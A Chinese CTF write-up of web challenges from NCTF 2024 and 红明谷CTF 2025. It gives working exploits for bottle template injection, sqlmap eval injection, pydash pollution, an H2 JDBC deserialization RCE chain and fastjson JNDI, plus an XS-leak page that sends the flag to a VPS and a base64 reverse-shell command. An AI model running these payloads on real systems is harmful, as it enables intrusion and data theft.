NCTF 2024
WEB AK
ez_dash
过滤不全,可以通过<%%>
执行python代码,但没有回显,用继承链获取bottle报错回显。
使用getattr绕过.
,bottle.abort(401, "message")
函数可以直接报错返回内容。
<%eval(getattr(getattr(__import__('base64'), 'b64decode')('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5ib3R0bGUuYWJvcnQoNDAxLCBfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkp'), 'decode')())%>
sqlmap-master
参数注入,sqlmap -hh
查看详细信息:
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
sqlmap的eval
可以执行python代码:
sqlmap -u http://localhost --eval="print(1)"
通过__import__
报错回显,注意payload不能包含空格,不然会被分割。
poc:
http://localhost --eval=__import__(__import__('os').popen(__import__('base64').b64decode('ZW52IHwgYmFzZTY0IHwgdHIgLWQgJ1xuJw==').decode()).read())
ez_dash_revenge
远程环境pydash版本比较高,不允许覆盖__globals__
和__builtin__
,
黑名单检测代码pydash/helpers.py
:
RESTRICTED_KEYS
内容为:
RESTRICTED_KEYS = ("__globals__", "__builtins__")
覆盖黑名单POC:
/setValue?name=pydash
{"path":"helpers.RESTRICTED_KEYS","value":[]}
然后再通过__globals__
覆盖题目自定义的黑名单,POC:
/setValue?name=setval
{"path":"__globals__.__forbidden_name__","value":[]}
{"path":"__globals__.__forbidden_path__","value":[]}
bottle模板引擎使用正则匹配模板字符串,set_syntax
代码如下:
def set_syntax(self, syntax):
self._syntax = syntax
self._tokens = syntax.split()
if syntax not in self._re_cache:
names = 'block_start block_close line_start inline_start inline_end'
etokens = map(re.escape, self._tokens)
pattern_vars = dict(zip(names.split(), etokens))
patterns = (self._re_split, self._re_tok, self._re_inl)
patterns = [re.compile(p % pattern_vars) for p in patterns]
self._re_cache[syntax] = patterns
self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax]
默认的syntax为<% %> % {{ }}
,其以空格分割分别对应block_start block_close line_start inline_start inline_end
,然后被format进self.re_split, self.re_tok, self.re_inl
这三个正则表达式里,render模板时用正则匹配内容,<%%>
内部的和%
后面的内容作为python代码执行,但没回显,{{}}
内部的作为表达式求值,有回显。题目过滤了%<
等字符,所以修改模板正则表达式就可以绕过了。
bottle默认模板使用的是SimpleTemplate
继承了BaseTemplate
,在prepare
方法给self.syntax
赋值了。
class SimpleTemplate(BaseTemplate):
def prepare(self,
escape_func=html_escape,
noescape=False,
syntax=None, **ka):
self.cache = {}
enc = self.encoding
self._str = lambda x: touni(x, enc)
self._escape = lambda x: escape_func(touni(x, enc))
self.syntax = syntax
if noescape:
self._str, self._escape = self._escape, self._str
BaseTemplate
类的__init__
函数代码如下:把self.settings
传给prepare
.
self.name = name
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy() # Copy from class variable
self.settings.update(settings) # Apply
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings)
所以覆盖模板syntax POC如下:
/setValue?name=bottle
{"path":"BaseTemplate.settings.syntax","value":"` ` % | |"}
用||
包裹即可执行代码并回显。
具体的模板执行代码如下:
def execute(self, _stdout, kwargs):
env = self.defaults.copy()
env.update(kwargs)
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})
exec(self.co, env)
if env.get('_rebase'):
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) #copy stdout
del _stdout[:] # clear stdout
return self._include(env, subtpl, **rargs)
return env
使用了exec
函数,可以拿到__builtins__
,所以可以将代码注入__builtins__
中,因为setValue
中对于value
字段不限制长度,POC如下:
/setValue?name=setval
{"path":"__builtins__.p","value":"print(1)"}
注意以下代码:
def template(*args, **kwargs):
..............
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
模板内容需要包含\n,{%$
,不然不会进行render。
POC如下:
/render?path=%0a|eval(p)|
exp:
import requests
url = 'http://ip:port'
def init():
# bypass pydash
res = requests.post(url=url + '/setValue?name=pydash', json={"path":"helpers.RESTRICTED_KEYS","value":[]})
if 'yes' in res.text:
print('[+] bypass pydash success')
else:
print('[-] bypass pydash failed')
exit()
# bypass path
res = requests.post(url=url + '/setValue?name=setval', json={"path":"__globals__.__forbidden_path__","value":[]})
if 'yes' in res.text:
print('[+] bypass path success')
else:
print('[-] bypass path failed')
exit()
# bypass name
res = requests.post(url=url + '/setValue?name=setval', json={"path":"__globals__.__forbidden_name__","value":[]})
if 'yes' in res.text:
print('[+] bypass name success')
else:
print('[-] bypass name failed')
exit()
# update syntax
res = requests.post(url=url + '/setValue?name=bottle', json={"path":"BaseTemplate.settings.syntax","value":"` ` % | |"})
if 'yes' in res.text:
print('[+] bypass syntax success')
else:
print('[-] bypass syntax failed')
exit()
def set_payload(payload):
# set payload in builtin
res = requests.post(url=url + '/setValue?name=setval', json={"path":"__builtins__.p","value":payload})
if 'yes' in res.text:
print('[+] set payload success')
else:
print('[-] set payload failed')
exit()
def render():
# render
res = requests.get(url=url + '/render?path=%0a|eval(p)|')
print(res.text)
if __name__ == '__main__':
init()
payload = "__import__('os').popen('env').read()"
set_payload(payload)
render()
H2 Revenge
MyDataSource
类可以触发jdbc连接,getter触发。
用jackson getter链子。堆栈如下:
challenge.MyDataSource#getConnection
jdk.internal.reflect.GeneratedMethodAccessor12#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
org.springframework.aop.support.AopUtils#invokeJoinpointUsingReflection
org.springframework.aop.framework.JdkDynamicAopProxy#invoke
jdk.proxy2.$Proxy61#getConnection
jdk.internal.reflect.GeneratedMethodAccessor11#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField
com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize
com.fasterxml.jackson.databind.SerializerProvider#defaultSerializeValue
com.fasterxml.jackson.databind.node.POJONode#serialize
com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer#_serializeNonRecursive
com.fasterxml.jackson.databind.node.InternalNodeMapper$WrapperForSerializer#serialize
com.fasterxml.jackson.databind.ser.std.SerializableSerializer#serialize
com.fasterxml.jackson.databind.ser.std.SerializableSerializer#serialize
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#_serialize
com.fasterxml.jackson.databind.ser.DefaultSerializerProvider#serializeValue
com.fasterxml.jackson.databind.ObjectWriter$Prefetch#serialize
com.fasterxml.jackson.databind.ObjectWriter#_writeValueAndClose
com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
com.sun.org.apache.xpath.internal.objects.XString#equals
org.springframework.aop.target.HotSwappableTargetSource#equals
java.util.HashMap#putVal
java.util.HashMap#readObject
jdk.internal.reflect.GeneratedMethodAccessor6#invoke
jdk.internal.reflect.DelegatingMethodAccessorImpl#invoke
java.lang.reflect.Method#invoke
java.io.ObjectStreamClass#invokeReadObject
java.io.ObjectInputStream#readSerialData
java.io.ObjectInputStream#readOrdinaryObject
java.io.ObjectInputStream#readObject0
java.io.ObjectInputStream#readObject
java.io.ObjectInputStream#readObject
challenge.IndexController#deserialize
有h2 driver。但环境为eclipse-temurin:17-jre
镜像,JAVA_HOME
下没有javac,所以无法编译自定义方法。可能是因为jdk版本高,TRIGGER获取js引擎是获取不到。同时有没有Grooxy依赖,所以传统利用方法都失效了。
查看文档发现可以调用任意public static
方法。
由于jdk moduel限制,Hessian反序列化打的那些gadget不能用。
找到org.h2.util.Utils#newInstance
方法可以触发构造方法:
public static Object newInstance(String var0, Object... var1) throws Exception {
Constructor var2 = null;
int var3 = 0;
Constructor[] var4 = Class.forName(var0).getConstructors();
int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) {
Constructor var7 = var4[var6];
int var8 = match(var7.getParameterTypes(), var1);
if (var8 > var3) {
var3 = var8;
var2 = var7;
}
}
if (var2 == null) {
throw new NoSuchMethodException(var0);
} else {
return var2.newInstance(var1);
}
}
org.springframework.context.support.ClassPathXmlApplicationContext
类的构造方法可以RCE,参数为java.lang.String
POC:
public class Exp {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS expNewInstance FOR 'org.h2.util.Utils.newInstance'\\;CALL expNewInstance('org.springframework.context.support.ClassPathXmlApplicationContext','http://ip:port/exp.xml')\\;";
MyDataSource myDataSource = new MyDataSource(url, "username","password");
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(myDataSource); // exp类
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler);
POJONode poJoNode = new POJONode(proxy);
XString x = new XString("123");
HashMap map = makeMap(x, poJoNode);
ser(map);
}
public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
但执行会报错:
org.h2.jdbc.JdbcSQLDataException: Data conversion error converting "CHARACTER VARYING to JAVA_OBJECT"; SQL statement:
newInstance
方法签名中的参数为String var0, Object... var1
,h2数据库无法直接将字符串http://ip:port/exp.xml
转换成Object
。
然后又找到一个反序列化接口,可以先将字符串http://ip:port/exp.xml
序列化,然后在h2 sql中执行反序列化并保存为变量,然后传参给newInstance
即可。
org.h2.util.JdbcUtils#deserialize
方法可以触发原生反序列化,返回值为Object。
public static Object deserialize(byte[] var0, JavaObjectSerializer var1) {
try {
if (var1 != null) {
return var1.deserialize(var0);
} else if (serializer != null) {
return serializer.deserialize(var0);
} else {
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
ObjectInputStream var3;
if (SysProperties.USE_THREAD_CONTEXT_CLASS_LOADER) {
final ClassLoader var4 = Thread.currentThread().getContextClassLoader();
var3 = new ObjectInputStream(var2) {
protected Class<?> resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
try {
return Class.forName(var1.getName(), true, var4);
} catch (ClassNotFoundException var3) {
return super.resolveClass(var1);
}
}
};
} else {
var3 = new ObjectInputStream(var2);
}
return var3.readObject();
}
} catch (Throwable var5) {
throw DbException.get(90027, var5, new String[]{var5.toString()});
}
}
var1
为NULL
即可,var0需要为字节数组,h2 sql字节数组的表示方法:
POC:
// String path = "http://ip:port/exp.xml";
// ser(path);
String path = "aced...."; // path 序列化数据的hex
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS deserialize FOR 'org.h2.util.JdbcUtils.deserialize'\\;CREATE ALIAS expNewInstance FOR 'org.h2.util.Utils.newInstance'\\;SET @path = (SELECT deserialize(X'" + path + "',NULL))\\;CALL expNewInstance('org.springframework.context.support.ClassPathXmlApplicationContext',@path)\\;";
部署exp.xml
:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>whoami</value>
</list>
</constructor-arg>
</bean>
</beans>
internal_api
xs-leak,无cookie限制,无csrf_token限制,单纯的网路限制,直接script加载通过onload
和onerror
判断。
POC:
<script src=http://192.168.72.132:8000/search?s=a onerror=top.sign=false onload=top.sign=true></script>
当搜索结果为空时报500错误,触发onerror,有数据时状态码为200,触发onload。
script标签只会在html docuemnt加载时执行,如果之后通过js写入新的script不会被执行。通过iframe嵌入子页面,在子页面里重新加载DOM树可以再次执行script标签。将script写入iframe srcdoc属性里即可:
vpsip换成自己的服务器。部署以下html文件,让bot访问即可。
POC:
<!DOCTYPE html>
<html>
<head></head>
<body>
<script>
let sign = undefined;
const host = "http://127.0.0.1:8000/internal/search?s=";
const CHA = "0123456789abcdef-}";
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
const sendback = async (data) => {
var xhr = await new XMLHttpRequest();
await xhr.open('GET', 'http://<vpsip>:port/?flag=' + encodeURI(data), true);
await xhr.send();
}
const send = async (payload) => {
top.sign = undefined;
top.document.getElementById('workspace').innerHTML = '<iframe srcdoc="<script src=' + host + encodeURI(payload) + atob('IG9uZXJyb3I9dG9wLnNpZ249ZmFsc2Ugb25sb2FkPXRvcC5zaWduPXRydWU+PC9zY3JpcHQ+Ij48L2lmcmFtZT4=');
while (top.sign === undefined){
await sleep(50);
}
return top.sign;
}
const main = async () => {
await sleep(500);
var flag = "nctf{";
while (!flag.endsWith("}")){
for(var i = 0;i < CHA.length;i++){
var payload = flag + CHA.charAt(i);
const s = await send(payload);
if (s) {
flag = await flag + CHA.charAt(i);
await sendback(flag);
}
}
}
}
main();
</script>
<div id="workspace"></div>
</body>
</html>
红明谷CTF 2025
日记本
扫目录得到/actuator/swagger-ui.html
和/actuator/heapdump
。
注册接口已弃用,将v1改为v2即可,注意v2参数需要用get传输:
/api/auth/update
可以修改为admin权限,key可以从/actuator/heapdump
读取。修改之后需要重新登录才能获得admin权限。
/api/admin/hint
可以下载源码。
存在fastjson反序列化,有CC3.2.1
依赖,但jdk版本为8u342,无法直接jndi加载恶意类,尝试LDAP反序列化绕过打CC链。
触发jndi,用JNDIMap打CC1反序列化,反弹shell即可:
{
"a":{
"@type" : "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName" : "ldap://119.45.252.144:1389/Deserialize/CommonsCollectionsK1/Command/YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TVRrdU5EVXVNalV5TGpFME5DODRNREF4SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==",
"autoCommit" : true
},
"b":{
"username":{
"@type":"java.net.InetAddress",
"val":"pppppasdasd.c37af96d-ec4e-43e4-8bd3-3c347d9eb7b8.dnshook.site"
},
"password":"admin"
}
}
java -jar JNDIMap-0.0.1.jar -i 119.45.252.144
根据admin控制器里的提示,flag在/app/F1A9.txt
中。